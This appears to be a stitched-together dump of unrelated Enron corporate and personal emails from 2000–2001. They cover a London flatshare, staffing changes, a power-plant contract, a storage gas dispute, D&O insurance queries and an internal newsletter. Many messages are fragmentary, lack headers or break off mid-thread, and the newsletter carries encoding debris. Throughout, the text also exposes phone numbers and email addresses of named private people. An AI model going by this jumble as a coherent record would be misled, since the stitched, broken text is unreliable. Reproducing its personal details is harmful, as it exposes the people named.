I actually do know that girl...helped recruit her a year or so ago.  She always seemed nice to me and normal, but I'll ask around and see what I turn up.  Yes, I am still coming over there.  I get into London on the 6th of June and fly out on the 12th.  Please let me know if you're going to be in town during that time.  I really want to try and get together while I'm there.  I may be going elsewhere the 6th thru the 9th (my friend, Emily, wants to take a little trip somewhere) but I will definitely be in town Saturday night through Monday...let me know.

I was very excited to hear about Caycie too.

Susan

From: 	Ashley.Marynick@chase.com@ENRON [mailto:IMCEANOTES-Ashley+2EMarynick+40chase+2Ecom+40ENRON@ENRON.com] 
Sent:	Thursday, May 24, 2001 11:23 AM
Subject:	Re: FW: [harvard99] LONDON-flatshare

help.  do you know this girl...millie gautam?  she is looking for a
roommate and works for enron.  could you ask around to see if she might be
a good roommate?  she went to texas and graduated in 2000.

hope all is well.  by the way, are you still coming over?  i talked to bate
yesterday and she told me about cacyie.  how exciting!
take care, ashley
---------------------- Forwarded by Ashley Marynick/CHASE on 24/05/2001
17:21 ---------------------------

"Millie Gautam" <mgautam@enron.com> on 24/05/2001 15:11:17

To:   Ashley Marynick/CHASE@CHASE
cc:
Subject:  Re: FW: [harvard99] LONDON-flatshare

---------------------- Forwarded by Millie Gautam/HOU/EES on 05/22/2001
06:12 PM

cc:
Subject:  Re: FW: [harvard99] LONDON-flatshare  (Document link: Millie
Gautam)

Hi Ashley,

A friend of mine forwarded this email over to me indicating that your were
in
search of a roommate.  I work for Enron and will be relocating to London
this
July.   I'm not sure if you are still looking for a roommate, but if you
are
still interested I'd like to talk to you.  Enron is located in Central
London,
as you may already know, so the mentioned apartment would be an ideal
location.
Please email me back if you are still looking and perhaps we can further
discuss.

Thanks for your time,
Millie Gautam

Kapil Ghosh
05/16/2001 12:31 PM

To:   Millie Gautam/HOU/EES@EES
cc:

I don't know how this fits in with your August 17 deadline, but this is
what my
sister is aware of.

Kapil
---------------------- Forwarded by Kapil Ghosh/HOU/EES on 05/16/2001 12:30
PM

The 380 is the total price so that would be divided.  You are about a 5
mintue walk from Westminister.
Ashley

"Kapil Ghosh" <kghosh2@enron.com> on 13/05/2001 00:44:25

cc:
Subject:  FW: [harvard99] LONDON-flatshare

"Ghosh, Samidha [EQTY]" <samidha.ghosh@ssmb.com> on 05/09/2001 08:26:42 PM

From: Ashley.Marynick@chase.com [mailto:Ashley.Marynick@chase.com]

I am looking for a female to share a 2 bedroom flat in Central London.  The
rent is

?380 per week total.  It is an extremely nice 2nd story gated flat
which gets great sun and is located just to the side of the National
Gallery.

You have your choice of Leicester Square, Charing Cross, Embankment, or
Piccadilly Tube stops.  Each is within 1/4 mile of the flat.  It is a 15
minute bus ride to the City which includes time spent waiting for the bus!

I am looking for someone to move in August or September and stay at least
through the end of June.

If you have any questions please call Ashley at 0788-418-5453 (mobile).
Please forward this to anyone you feel might be interested.

Thank you,
Ashley Marynick

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----- Forwarded by Tana Jones/HOU/ECT on 05/29/2001 08:53 AM -----

	Tom Moran/ENRON@enronXgate
	05/25/2001 04:18 PM
		 
Schott/ENRON@enronXgate, Mark A Taylor/EFS/EES@EES, Brant 
Lees/ENRON@enronXgate, Juana Fayett/ENRON@enronXgate, Jana 
Morse/Corp/Enron@Enron, Trang Le/ENRON@enronXgate, Paul Maley/LON/ECT@ECT, 
Sonya Clarke/LON/ECT@ECT, Tim Davies/LON/ECT@ECT, Karen 
O'Day/ENRON@enronXgate, Tanya Rohauer/ENRON@enronXgate, Kelly 
Lombardi/ENRON@enronXgate, Brian Lindsay/Enron Communications@Enron 
Communications, EOL Call Center@ECT, Bill D Hare/ENRON@enronXgate, Amy 
Heffernan/Enron Communications@Enron Communications, Molly LaFuze/Enron 
Communications@Enron Communications, Danny Clark/Enron Communications@Enron 
Communications, Stephanie Panus/NA/Enron@Enron, Teresa 
Mandola/ENRON@enronXgate, Bill Kyle/ENRON@enronXgate, Amber 
Ebow/ENRON@enronXgate, Thu Pham Arnold/ENRON@enronXgate, Tandra 
Coleman/ENRON@enronXgate, Lesli Campbell/ENRON@enronXgate, Wendi 
Lebrocq/ENRON@enronXgate
		 cc: 
		 Subject: EOL Approvals: 05-25-01

Regards,
Tom Moran
713-853-3017

As you know, there have been significant changes within the Global Risk 
Operations group.  As such, I have prepared an updated organization chart to 
reflect the group's reporting responsibilities going forward.

David Maxwell has excepted a position in EIM reporting to Andrea Reed.  He 
will be responsible for developing the analytical systems for deal flow.  
Susie Ayala will take over David's position as lead of the Merchant Assets 
group.

Daniel Falcone has accepted a rotation into the EGM fundamentals research 
group.  Antia Luong will take Daniel's place in the Risk Controls group.

Please join me in congratulating everyone on their new roles.

Shona

Ben,

Here is the updated contact list. Please forward any comments to me so I can
revise appropriately. I don't think the attachment was sent with the
previous email.

Regards,

  V:(212) 325-5809
  F: (212) 325-8323

Any reference to the terms of executed transactions should be treated as 

This meeting is to pickup where we left out on possible functionality of the Credit Manager product.

Craig

David, thanks for the people listing.

Wes, we need 1999 and 2000 (including CE) ESA income statements for each 
market in as much detail as possible.   Looking for un-necessary overheads 
and where the income brightspots lie.  We would probably need the ESA 2001 
budget (income, expense, cashflow and capital) for the trading/marketing/EES 
business and the asset/regulated business in seperate formats.  A current 
balance sheet would be helpful as well.

I think it may be appropriate for both of you to join us.

You need to get your Visa issues worked out quickly - Kay can help.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/28/2000 
12:53 PM ---------------------------

10/28/2000 12:54 PM
To: James M Bannantine/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Kay Chapman/HOU/ECT@ECT, John J Lavorato/Corp/Enron@Enron 
Subject: Re: Itinerary

Jim,  what ever you think is appropriate.  As far as the weekend, lets just 
play it by ear.

At the meetings, I think it would be helpful to go through the following 
discussions/agenda:
 a) review the Brazilian and Argentine gas and power markets - flows, grid, 
participants (bids and offers), assets, pool structures, regulatory and 
political environment, currency and credit challenges, supply and demand & 
historical prices and volumes;
 b) review ESA's current regulated/un-regulated assets and generation 
strategy;
 c) review ESA current book positions, market views, products and product 
development;
 and d) brief review of other S. American markets.

I assume that you will have the Argentines to Brazil for the discussion and 
any one else you think appropriate.

Let me know what I need to do otherwise.

Thanks

Regards
Delainey
12:43 PM ---------------------------

James M Bannantine@ENRON_DEVELOPMENT
10/24/2000 02:44 PM
To: Kay Chapman/HOU/ECT@ECT, David W Delainey@ECT
cc: Marcia Manarin/SA/Enron@Enron@ECT 
Subject: Re: Itinerary  

I would suggest day one in Sao Paulo and day two and three in Rio.  I would 
also suggest the Cesar Park in Rio, better location, although Copacabana 
Palace is more famous and classy hotel.  Trip from Rio to Sao Paulo is like 
from Houston to Dallas, inconsequential, spend the first night in Sao Paulo, 
hotel next to the office, and second night in Rio, travel to Rio on Friday 
morning.  Dave, call to discuss or I'll call you, including what would you 
like to do on Saturday, sightseeing, golf, surfing, work?

To: Marcia Manarin/SA/Enron@Enron
cc: James M Bannantine/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Itinerary

I thought this Itinerary might be easier to read.  If you could send me the 
phone number to the Rio de Janeiro office, I would greatly appreciate it.

Also, Dave wanted to know if you could arrange transportation for them.  He 
wants to be sure that we arrange transportation with someone you know.

Thanks very much for your help and please feel free to call me with any 
questions (Kay 713-853-0643).

Regards,

Kay

please handle
---------------------- Forwarded by Mike D Smith/HOU/EES on 02/27/2001 04:17 
From: Gerald Nemec@ECT on 02/27/2001 04:16 PM
To: Mike D Smith/HOU/EES@EES
cc:  
Subject: EES Master

Mike,  I never did receive a executed copy of the Master and Transaction 
Agreement between EES and Enron Compression Services Company.  Do you have a 
copy and could you send it to me?

After speaking with Chris Boster, it was noted that we can not pass the imbalance charges back to riverside.  

I will be working with Jim Reyes to find out what charges/revenue EPMI is invoicing EES.  Richard, I will let  you know as soon as I find out the details on the amount of time it's going to take to pull those numbers out  of our total ancillary services invoice.

Pam

David:
To whose attention ahould a counterparty fax termination notices to?
Carol

Thanks, I'll get with Mike and let you know.  

Jeff

	From:  Jennifer Fraser                           10/11/2000 11:39 AM
	
cc: Heather Purcell/HOU/AZURIX@AZURIX 
Subject: Research Needs

Jeff:
 As Heather and I  finish defining each group's needs, we were wondering if 
the Office of the Chairman needs any data, analysis or publications on a 
regular basis? If you do we need to put you on the project timeline. Please 
Thanks
Jen

If I had a printer, I wouldn't ask you to print this, but since I don't....

Thanks,

Kay

PS  Don't worry too much about Ruthie.  You'll get her figured out.
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/20/2000 12:05 
From: Roseann Engeldorf on 10/20/2000 11:12 AM
cc:  

Subject: Electrobolt EPC Contract

Per my voicemail.

Rose
----- Forwarded by Roseann Engeldorf/Corp/Enron on 10/20/2000 11:11 AM -----

	"David Gohlke" <DGOHLKE@skadden.com>
	10/19/2000 05:08 PM
		 
		 To: glauco.palhoto@enron.com, jeff.westfahl@enron.com, 
john.g.rigby@enron.com, john.guidry@enron.com, john.novak@enron.com, 
john.r.ayres@enron.com, jose.anson@enron.com, kevin.joyce@enron.com, 
laine.a.powell@enron.com, lisa.alfaro@enron.com, luiz.watanabe@enron.com, 
mary.cilia@enron.com, mary.kimball@enron.com, Mike.Morrison@enron.com, 
patricia.scholz@enron.com, Peter.N.Anderson@enron.com, 
roderick.blackham@enron.com, roseann.engeldorf@enron.com, 
roshena.ham@enron.com, scott.dieball@enron.com, sergio.nomura@enron.com, 
stephen.gray@enron.com
		 cc: "Brian Bradshaw" <BBRADSHA@skadden.com>, "Thomas Weil" 
<TWEIL@skadden.com>
		 Subject: Electrobolt EPC Contract

ESA, EECC and Finance Teams,

Attached for your review is the Electrobolt EPC Contract (our doc # 
39444.04), which incorporates the negotiated provisions of the Electrobolt 
MOU.  To assist you in your review, I have also attached (1) a blackline of 
the Electrobolt EPC marked to show all changes from the RioGen EPC Contract 
distributed October 17, and (2) a blackline of the Electrobolt EPC marked to 
show all revisions to the EECC form EPC contract.

Please note that the comparison document, prepared by DeltaView, shows new 
text in blue double underscore, deleted text in red strikethrough, and moved 
text in green (double underscore at the new location, strikethrough from 
where moved).

Please call if you have questions/comments.

Regards,
Dave Gohlke

David E. Gohlke
Skadden, Arps, Slate, Meagher & Flom LLP
1600 Smith Street, Suite 4460
direct (713) 655-5158
fax - main (713) 655-5181
dgohlke@skadden.com

This e-mail, and any attachments thereto, is intended only for use by the 
addressee(s) named herein and may contain legally privileged and/or 
confidential information.  If you are not the intended recipient of this 
e-mail, you are hereby notified that any dissemination, distribution or 
copying of this e-mail, and any attachments thereto, is strictly prohibited.  
If you have received this e-mail in error, please immediately notify me at 
(212) 735-3000 and permanently delete the original and any copy of any e-mail 
and any printout thereof.

Further information about the firm, a list of the Partners and their 
professional qualifications will be provided upon request.

 - 39444_4.doc
 - 39822_1.doc
 - 39820_1.doc

Glenn Connors is the new Commercial Contact for this counterparty.  I left 
him voice mail that we want the ISDA executed before entering into any 
additional transactions with this counterparty.

Click on this link to view the document in the Financial Trading Agreements 
database -->

Chris,

Call me if you have any questions.  These prices are pretty much where our offers are.  Also, I didn't do anything with the physical premium.  We could probobly get is lowered.  Let me know.

thanks,

Kim

I'll call you today.

05/22/2001 08:48 AM
cc:  
Subject: Re: Midway Term Sheet  

Ben, 

I'll take a look at it today, you night owl.  Hope the kids cut you some 
slack after your late night.  

You're missing our last week of nice weather for the season.  It was 65 
degress this am.  I'm taking Herman to the game tonight, which will be 
wonderful in this weather.  Next comes 90 degrees.

Michael had his first soccer practice yesterday - actually a skills 
assessment to put them on teams.  He loved it. His big sister and her 
boyfriend took  him to buy soccer clothes afterwards.  He is wearing his shin 
guards and soccer shorts to school today.  Too cute.

Hope you are enjoying your little ones.

Kay

Glen, as we discussed, here is the negotiated rate TW deal which TK did today 
under Rate Schedule ITS-1.
The term is ONE DAY, Nov. 15. 
Quantity:  30,000 Dth/day

I know this is a bit unusual.  We are just going to have to ask the FERC for 
a waiver of their "before gas flows" filing requirement.
Given the price spreads and the shippers' willingness to pay more than max. 
rates for short-term deals, we might have more deals like this.  We probably 
need to put our heads together to come up with a better procedure for when 
this happens.  It would be so much better if we were able to send tariff 
sheets via e-mail to our D.C. office.

Call if you have questions or need anything.
---------------------- Forwarded by Susan Scott/ET&S/Enron on 11/14/2000 
   
	From:  TK Lohman                           11/14/2000 11:26 AM
	
cc:  

Subject: Negotiated Rate

Susan, I did a negotiated rate with PG&E Energy Trading for transport from 
the EOT Area to WOT area at $0.09 for November 15, 2000.  Their contract # is 
8265.

I don't know if it will flow yet.  TW is allocated for tomorrow.

TK

JCharlton@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

Apparently , there is a problem with the attachment to the notice sent
earlier.

Please note the meeting and we will post a usable attachment tomorrow.

There will be a meeting on Joint Capacity Adequacy on Thursday,
December 20, 2001 at the BWI Airport Marriott in Baltimore, MD.  The
meeting is scheduled from 10:00 a.m. to 3:00 p.m.

To register for this meeting, you can forward this e-mail to
<filipov@pjm.com> or fill out the attached form and fax it to Ginny
Filipovic
at 610-666-4762 by December 14, 2001.

Meeting information and directions to the hotel are included in the
attachment below.  If you have any questions, please feel free to call
Ginny at
610-666-4755.

Scott --

To follow-up from a bunch of earlier discussions, can you please provide the 
following information on these three deals to ensure timely and smooth DASH 
approval - Quaker Oats, Frito-Lay, Starwood.

1. List of each position by utility and by rate class within each deal. 

2. Regulated Rate forecasts by utility and by rate class for each position in 
the deal.  Not just the "scalars" but also the absolute $/Mwh.

3. For each impacted position, the key assumptions contained within the 
curves - 
 a. deregulation date (if any)
 b. stranded cost roll-off date (if any)
 c. standard offer end date (if any)
 d. EES physical delivery date (if any)
 e. other rate reduction dates and amounts (if any)
 f. any other assumptions as identified by rate analyst

4. Revenue side or Cost side contract terms that impact the deal (for 
example, movement in pricing terms given some event). 

The sooner you are able to provide this information, the sooner we can turn 
around our analysis.   Please let me know when your group will be done.

Thanks,

JDS

Start Date: 1/24/02; HourAhead hour: 4;  HourAhead schedule download failed. Manual intervention required.

Hi Jeff - Let's do lunch when you have some time; at least before they send
you and the rest of the Enron staff off to San Quentin.....I'll be at NARUC
in Seattle next week.

>From: "michelle luu nguyen" <mluu219@hotmail.com>
>To: brittanyhoang_2000@yahoo.com, bsmith219@yahoo.com,
>cacciotti@excite.com, chi325@hotmail.com, vnguyen922@yahoo.com,
>jluu529@yahoo.com, kprice8@hotmail.com, PRAYR786@aol.com, mm1130@aol.com,
>moniquepham@hotmail.com, nehavora@pzlqs.com, natoriousnick@yahoo.com,
>roberthai@hotmail.com, djonly@hotmail.com, SujRao@excite.com,
>bigtamnguyen@hotmail.com, soncale@texas.net, cnguyen@prde.com,
>xifu_phd@hotmail.com, thnguyen@wcom.net, snguyen@totalsafetyinc.com
>Subject: Mini Me
>Date: Fri, 17 Nov 2000 09:20:18 CST
>
>
>
>
>>From: "Carolyn" <cik18@hotmail.com>
>>To: "Warren Cabanos" <war521@hotmail.com>, "Thuy Nguyen"
>><tcnguy@Bayou.UH.EDU>, "Tom Nguyen" <The-Ngoc.D.Nguyen@uth.tmc.edu>, "Minh
>>Chu" <mbc622@hotmail.com>, "Michelle Luu Nguyen" <mluu219@hotmail.com>,
>>"Marcia Carungcong" <mcarungcong@sprintmail.com>, "Edith Acosta"
>><ediebitty@hotmail.com>, "Carolyn King" <cik18@hotmail.com>
>>Subject: Fw: Mini Me...
>>Date: Thu, 16 Nov 2000 20:32:03 -0600
>>
>>
>>----- Original Message -----
>>From: <jilygrace.vargas@abnamro.com>
>>To: <flipchic@tamu.edu>; <frc521@pdq.net>;
>><RLeighton@appraisalinstitute.org>
>>Sent: Thursday, November 16, 2000 8:45 AM
>>Subject: Mini Me...
>>
>>

 - mini_me.gif

Humberto - I forwarded your resume to Barry Hunsaker who is general counsel 
at EOG Resources.  As you may know, EOG used to be Enron Oil and Gas, a 
majority-owned Enron subsidiary.  A couple of years ago, Enron sold its 
interest in EOG and it became a stand alone company.  EOG Resources has been 
doing very well.  I don't know if they are looking for lawyers now, but I 
think I sent your resume to the right place.

"Humberto Kuhn" <BetoKuhn@msn.com> on 05/21/2001 11:17:21 AM
cc:  

Subject: Humberto (Beto) Kuhn, resume

Dear Steve:? With sincere and advance thanks, and pursuant to your recent 
conversation with my brother, George, I attach a copy of?the short version?of 
my resume.? I have a longer detailed version, as well as numerous references, 
that I will be pleased to furnish you.? In addition, I am at your disposal at 
any time that?you or any others at ENRON should wish to meet with me.? 
Again,?my thanks for your assistance and guidance. 
?
Kind regards, 
?
?
Beto Kuhn
Cell:? 713/ 906-8463
Res:? 713/ 467-3974
 - RESUME HGK,Short Form 05-01.doc

Gerald!

Attached (Bridgeline 1. doc) is Cargill's comments to our outgoing guaranty form, kindly review for execution a guaranty in the amount $8MM to cover both physical and financial deals. 

Thanks
Rudwell. 

From: 	Christine_Wack@cargill.com [mailto:Christine_Wack@cargill.com] 
Sent:	Monday, September  17, 2001 9:24 AM
To:	Johnson, Rudwell
Subject:	RE: Bridgeline PCG

Brian,

Have you had a chance to review Gerald's latest draft of the Amendment?  I would like to be able to send it to Gary ASAP.  Let's talk about this at your earliest convenience to make sure that we are all on the same page.

Stuart

Enron Industrial Markets=20
The Transaction Development group (TD) is responsible for corporate=20
development, transaction execution and portfolio management activities with=
in=20
EIM.  TD is responsible for asset and corporate acquisitions to support EIM=
=01,s=20
efforts in the Forest Products and Steel industries.  TD works with EIM=01,=
s=20
Forest Products and Steel Origination groups to structure and execute compl=
ex=20
transactions for EIM=01,s customers.  TD also manages EIM=01,s equity inves=
tments,=20
such as EIM=01,s ownership position in Papier Masson, Ltee, a paper mill in=
=20
Quebec, Canada.

TD is comprised of approximately 20 professionals with a wide range of=20
backgrounds including investment banking, commercial banking, management=20
consulting, law, project development, accounting and engineering.  In=20
addition, the majority of the analysts and associates within EIM work in TD=
=20
since it provides a strong base of deal experience for junior members of ou=
r=20
organization. =20

Enron Freight Markets
Enron Freight Markets has continued to expand the transportation services=
=20
offered to its customers and completed several flatbed truck moves outbound=
=20
from Georgia this week.  There was a shortage of flatbed equipment supply i=
n=20
this market and EFM was able to obtain more than three times the normal=20
margin on each move.

      =20
IN THE NEWS

"Enron's bilateral internet trading platform, EnronOnline, was launched in=
=20
November 1999 and is the largest e-commerce site on the planet based on the=
=20
value of its transactions.  As EPRM went to press, it had average daily=20
trading volume of $3.5 billion, accounting for nearly 50% of the company's=
=20
revenues from wholesale marketing activities." -- Energy Power Risk=20
Management, May 2001

WELCOME
New Hires
EIM   - Cheryl Lindeman
ENA  - Chris Bystriansky, Paula Craft, Eugene Lee, Bhalachandra Mehendale,=
=20
Sarah Wooddy

ENA - Grace Taylor, Steven Irvin, Dina Snow

Enron is hosting the Chicago Energy Risk Management Seminar at The Drake=20
Hotel in Chicago on June 14, 2001.  Topics include: Power Outlook, Natural=
=20
Gas Outlook, Hedging Strategies, Weather Risk Management and Pulp and Paper=
=20
Risk Management. The RSVP deadline is June 8th so please contact Laura Pena=
=20
as soon as possible at x 3-5376.  This is a great event for "new" as well a=
s=20
established customers.  There will be a cocktail reception immediately afte=
r=20
the presentations.  Enron will also be hosting seminars in Atlanta, Houston=
,=20
Denver and San Francisco.  Dates to be announced soon.

Travel tip of the week:
Flights reserved through Travel Agency in the Park provide you with $150,00=
0=20
of flight insurance at no additional charge.

Below are the latest figures for EnronOnline as of May 29, 2001.

* Total Life to Date Transactions >  1,015,000
* Life to Date Notional Value of Transactions > $610 billion

Enron arranges first gas pipeline import into Italy
Enron has continued its pioneering activities in the Continental gas market=
=20
by arranging the first gas import into Italy.  The Italian team worked with=
=20
the Continental Gas desk to arrange this strategically important agreement=
=20
with Blugas SpA., the wholesale gas company formed by the municipalities of=
=20
Cremona, Lodi, Mantova and Pavia in north-eastern Italy.  Enron has sourced=
=20
100,000 cubic metres per day of natural gas from northern Europe to transpo=
rt=20
to Italy, transiting it through Germany and Switzerland, despite fierce=20
resistance from Ruhrgas and TransitGas respectively. =20

Aside from isolated LNG imports by incumbent monopolies this is the first=
=20
time that any company has managed to import natural gas by pipeline into=20
Italy since the Italian gas sector was officially liberalised in August 200=
0.=20
The gas, which started flowing at 06.00 on Thursday 17th May 2001, will be=
=20
used to meet the needs of two thirds of Blugas' residential customers withi=
n=20
the four municipalities. The current contract lasts for five months.

Congratulations to Fabio Greco, Carsten Haack, Didier Magne, Michael Schuh,=
=20
Marco Lantieri and Daniela Uguccioni.

Enron in the Middle East=20
Enron has relinquished its stake in Dolphin Energy, the joint venture compa=
ny=20
formed to develop gas reserves in Qatar.
Enron has agreed to transfer its 24.5 per cent stake in the project to the=
=20
United Arab Emirates Offset Group (UOG), the majority shareholder. The=20
agreement allows Enron to deploy capital elsewhere and gives UOG the=20
opportunity to seek new partners before the project moves into its next pha=
se.

Development of the Emden/Oude gas hub moves ahead fast
An important milestone in the evolution of the new gas trading hub on the=
=20
Dutch-German
border was reached last week. Last Friday some of the major European gas=20
players held a meeting to officially establish the Emden/Oude gas hub.=20
Although Enron had already initiated the development of the Emden/Oude hub =
by=20
making a market through EnronOnline as early as December 2000, the goal of=
=20
this meeting was to set up a working group similar to the Zeebrugge focus=
=20
group who can  work on setting a legal framework for the Emden/Oude hub.=20

Enron was elected as the only new market entrant in this group, reflecting=
=20
the high level of respect industry peers have for Enron as a major player i=
n=20
the Continental gas market -- even from incumbents!

y=20
=20

I will be out of the office starting  07/01/0200 and will not return until 
07/16/2000.

I will be out of the office from Saturday, July 1st through Sunday, July 
16th, returning Monday, July 17th.  I will be checking voice mail messgaes 
regularly and will have access to e-mail.  

Thank you.

At the Enron camp, how are the age groups combined?  For example, are 5-7 
year olds together, 8-10 year olds, etc....?

Thanks,

http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000034924&Page=
MyReq.

Jim, I can assure you that neither John or myself are trying to attract blame 
or "cover our backsides";  however, I do believe that there is/was a genuine 
breakdown in communication somewhere in the deal team, accounting and the 
desk.  As well, it appears that this is not completely a black and white 
issue and can legitimately attract a number of points of view.  As executives 
of this company, you, Brian, Tim and Tom absolutely were responsible to 
ensure that all aspects of this transaction are managed correctly.  
Nevertheless, I think it is amazing we have not had more problems with this 
divestment given the size, complexity, time and how intertwined it is into 
the overall framework of ENA.

I appreciate your candor and the unselfish maturity to bring to the trading 
floor.

I look forward to working with you as we continue to build our Texas and gas 
business.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 01/10/2001 
07:20 PM ---------------------------

01/10/2001 04:56 PM
To: John J Lavorato/Corp/Enron@Enron, David W Delainey/HOU/ECT@ECT, Brian 
Redmond/HOU/ECT@ECT, Wes Colwell/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT, 
Edward D Gottlob/HOU/ECT@ECT
cc:  
Subject: Bammel Storage Cushion Gas Issue.

I'm very disappointed and angry with comments that have been made since the 
HPL Asset Disposition Team realized the impact of what has been communicated 
to them over the last six weeks regarding the level of Bammel cushion gas 
that would be available on March 31, 2001.  The following is designed to set 
the record straight in the spirit of "Facts Are Friendly".  

First of all, it has been communicated multiple times over the last six - 
eight weeks to Patrick Wade and Brian Redmond and brought to the attention of 
Wes Colwell,  Dave Delainey and John Lavorato in the meeting held before year 
end to discuss the unwind cost.  All parties indicated that it was not a 
problem and that everyone was aware of the situation.  Now Im hearing just 
the opposite and in fact insinuations that the Storage Book screwed up by:  
1) originally booking injection and withdrawal assumptions down to 60 BCF.  
2) reversing the April, 2007 5.5 BCF injection assumption on December 31, 
2000. 
 1)  The decision to record injection / withdrawal assumption down to 60 BCF 
was made in 1992 by Kevin Hannon and Steve Smaby.  This was based on
         the fact that we had been down to 60 BCF physically in the several 
years proceeding 1992.  Since 1992 we have been down top 60 BCF twice, 
the          latest  being March, 1996.  Throughout this entire period the 
Accounting Dept was well aware of the Bammel assumptions and the 
physical           capabilities of the facility.  
 2)  The reversing of the Bammel assumptions has nothing to do with 
anything.  When we communicated the unwind cost of $203 million it included 
the         reversal of all assumptions including the April, 2007 injection.  
This was appropriate since we would be down to the 60 BCF physical minimum.  
In         addition we were told to make sure there was no Working Gas left 
in the ground.  If the reversal of the assumption was the problem then it 
could be         reversed, but then the unwind cost would go up.
It has also been suggested to me that I should have continued to follow up 
irregardless of the number of times I communicated the issue.  If I was 
dealing with lower level employee's I would agree, but given the level 
involved I feel this suggestion is totally out of line.  

From my perspective the only way I had a chance of catching this issue was if 
I had reveiwed all documents including the one specificly addressing the 
cushion gas of 65.5 BCF.   I beleive everyone on this memo was communicated 
to and was aware of the situation.  Perhaps they were involved with other 
issues related to the sell?  I am disappointed in the way everyone is scuring 
around to cover their backside. 

FYR
From: 	Cole, Kate  
Sent:	Thursday, November 29, 2001 1:14 PM
To:	Williams, Robert C.; Derrick Jr., James
Subject:	FW: Enron Metals & Commodity (Canada) Inc.

FYI.  Let me know if you want to stay abreast of this email conversation.  I'd hate to be wasting your time. KC

From: 	Nissan, Limor  
Sent:	29 November, 2001 12:01 PM
To:	Bouillion, James L.; Cole, Kate
Cc:	Mayer, Laurie; Kendall, Earline; Williams, Robert C.
Subject:	RE: Enron Metals & Commodity (Canada) Inc.

Jim,

We want to know how the 350MM gets shared among directors and officers if it is insufficient to pay everything.

Also, can we assume that this covers issues at foreign subsidiaries??

Thanks,

Limor

520 Madison Avenue
New York, NY 10022
Tel: 212.715.5283
Fax: 212.715.5608
E-Mail: Limor.Nissan@Enron.com

From: 	Bouillion, James L.  
Sent:	Thursday, November 29, 2001 12:54 PM
To:	Cole, Kate; Nissan, Limor

We do not provide copies of the policies.  

The Corporate indemnity is the first line of defense for the D's &O's.  If the indemnity responds, the company seeks reimbursement from the policy up to its limit.   There is no other D&O insurance above the $350,000,000, amount of insurance.

Please advise if there are further questions.

Sent:	Thursday, November 29, 2001 11:34 AM
To:	Nissan, Limor; Bouillion, James L.
Cc:	Mayer, Laurie

Limor - I'm turning this over to Jim Bouillion to respond to.  I don't have this information.  KC

Sent:	29 November, 2001 11:32 AM
To:	Cole, Kate
Cc:	Mayer, Laurie; Bouillion, James L.

Thanks.

I need the policy and I need to know what happens if the limit of 350MM is not enough.  Where would that be addressed??? The Enron Corp. bylaws???

Sent:	Thursday, November 29, 2001 12:13 PM
To:	Nissan, Limor

Limor and Laurie - this is the document I received from Risk Management.  Please advise if you need further information.  Best regards Kate

 << File: D&OSUMHandout030600.doc >> 

Sent:	29 November, 2001 11:10 AM
To:	Mayer, Laurie; Cole, Kate; Pardue, Larry

Folks, I need the policy that covers US subsidiaries and foreign subsidiaries ASAP.

thanks

From: 	Mayer, Laurie  
Sent:	Thursday, November 29, 2001 12:09 PM
To:	Cole, Kate; Pardue, Larry
Cc:	Nissan, Limor
Subject:	Enron Metals & Commodity (Canada) Inc.

Kate and Larry,

	Limor Nissan in the New York office needs a copy of the Director and Officer Liability policy (or a similarily named document) for review.  Jean Michaud, a Canadian director, wants confirmation of coverage before signing documents.  Limor needs this information as quickly as possible.

Laurie

Pick a first and second choice:  Feb. 8, 14 or 15.

From: Jeff Dasovich on 01/23/2001 03:56 PM
To: Leslie Lawner/NA/Enron@Enron, Jeffery Fawcett/ET&S/Enron@ENRON, Susan 
Scott/ET&S/Enron
cc:  

Subject: Re: Response to ORA/TURN petition  

Best,
Jeff

Just wanted to let you know I got out both PG&E and Diamond Teaser letters 
and CA's.  We already heard back from PG&E and will probably have the CA 
signed today and the book out to them tomorrow.  Thanks
Ben

TJ,
Please put on my calendar for every Tues., thanks.  Also, please notify my 
team that we will have a meeting with the marketing group every Mon at 3:30pm 
that Ed Baughman should be setting up with you.  That should be a weekly 
thing too.

Fletch

---------------------- Forwarded by Fletcher J Sturm/HOU/ECT on 01/25/2001 

Jennifer Burns

01/23/2001 04:27 PM

To: Phillip K Allen/HOU/ECT@ECT, John Arnold/HOU/ECT@ECT, Michael W 
Bradley/HOU/ECT@ECT, Jennifer Fraser/HOU/ECT@ECT, Mike Grigsby/HOU/ECT@ECT, 
Adam Gross/HOU/ECT@ECT, Rogers Herndon/HOU/ECT@ect, John J 
Lavorato/Corp/Enron@Enron, Kevin McGowan/Corp/Enron@ENRON, Vince J 
Kaminski/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Kevin M Presto/HOU/ECT@ECT, 
Fletcher J Sturm/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, Bill 
White/NA/Enron@Enron, Gary Hickerson/HOU/ECT@ECT, Jeffrey A 
Shankman/HOU/ECT@ECT
cc: Ina Rangel/HOU/ECT@ECT, Judy Zoch/NA/Enron@ENRON, Gloria 
Solis/HOU/ECT@ECT, Helen Marie Taylor/HOU/ECT@ECT, Tamara Jae 
Black/HOU/ECT@ECT, Kimberly Hillis/HOU/ECT@ect, Shirley Crenshaw/HOU/ECT@ECT, 
Angie Collins/HOU/ECT@ECT, Airam Arteaga/HOU/ECT@ECT 
Subject: TRADER'S ROUNDTABLE MEETING

There will be a Trader's Roundtable meeting every Tuesday at 4:00PM in 
EB3321.  

First Message that was sent out:

Our first meeting will be Tuesday, January 16 at 4:00pm in EB3321.

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/31/2001 

Ludkam@aol.com on 01/31/2001 02:41:55 PM
To: vkamins@ect.enron.com, VKaminski@aol.com
cc:  
Subject: adres Marysi

robertlu@friko6.onet.pl 

---------------------- Forwarded by Darron C Giron/HOU/ECT on 05/02/2001 
From: Veronica Espinoza/ENRON@enronXgate on 05/02/2001 09:31 AM
To: Diane Anderson/NA/Enron@Enron, Derek Bailey/Corp/Enron@ENRON, David 
Baumbach/HOU/ECT@ECT, Jean Bell/HOU/ECT@ECT, Patricia Boulanger/CAL/ECT@ECT, 
Bob Bowen/HOU/ECT@ECT, Julie Brewer/NA/Enron@Enron, Lesli 
Campbell/ENRON@enronXgate, Celeste Cisneros/ENRON@enronXgate, Sharon 
